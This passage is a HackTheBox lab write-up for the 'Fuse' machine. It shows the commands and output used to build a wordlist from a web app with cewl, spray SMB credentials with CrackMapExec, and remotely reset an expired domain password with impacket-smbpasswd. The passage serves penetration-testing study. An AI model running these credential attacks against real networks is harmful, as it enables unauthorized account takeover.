Assessment


Up until this point, I have pretty much done EVERYTHING that I could think of and I couldn’t proceed further.

  • I tried checking for the NoPreAuthRequire with impacket-GetNPUsers and nothin returned.
  • I also tried brute-forcing passwords for each user with a relatively short list of passwords, and nothing returned.
  • I checked for other potential web apps by fuzzing, and nothing returned

Since the web server has the biggest attack surface as well as information available by far, I will attempt to parse it and make a custom wordlist out of it for brute-force attack

Custom Password List


┌──(kali㉿kali)-[~/archive/htb/labs/fuse]
└─$ cewl http://fuse.fabricorp.local/papercut/logs/html/index.htm --with-number > passwords

The whole idea is to extract sensitive credentials logged by users un-intentionally So I did scrape the whole web app to create a list of password and saved it to the passwords file

This would almost NEVER work in real life

Now that I have a list of valid username and potential passwords, I will try them all against the SMB server

Brute-Forcing


┌──(kali㉿kali)-[~/archive/htb/labs/fuse]
└─$ cme smb $IP -u users -p passwords --continue-on-success
smb         10.10.10.193    445    fuse             [*] windows server 2016 standard 14393 x64 (name:FUSE) (domain:fabricorp.local) (signing:True) (SMBv1:True)
 
[...REDASTED...]
 
smb         10.10.10.193    445    fuse             [-] fabricorp.local\bnielson:Fabricorp01 STATUS_PASSWORD_MUST_CHANGE 
 
[...REDACTED...]

i got one hit, bnielson:Fabricorp01

I remember that the bnielson user is supposed to be a new starter

But the responds a bit strange. It says that STATUS_PASSWORD_MUST_CHANGE

It turns out the author put a valid password on one of the printed documents and claimed that it is possible for someone to name a word document after his/her password, which is a complete garbage theory Fabrico01.docx is the document apparently

STATUS_PASSWORD_MUST_CHANGE  or STATUS_PASSWORD_EXPIRED


Upon searching it on Google, I found out that it is possible to reset passwords remotely over a SMB connection

Remote Password Reset


┌──(kali㉿kali)-[~/archive/htb/labs/fuse]
└─$ impacket-smbpasswd fabricorp.local/bnielson:Fabricorp01@$IP -newpass Qwer1234
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
 
[!] Password is expired, trying to bind with a null session.
[*] Password was changed successfully.

I’ve set the new password to Qwer1234 for the bnielson user

Now that we have a valid domain credential, I can start to further enumerate the AD environment

There likely is a script running in the background to expire & reset password of the bnielson user with an interval of 40-60 seconds Because I keep getting invalid credential error, so I would have to continue to change the password as I go along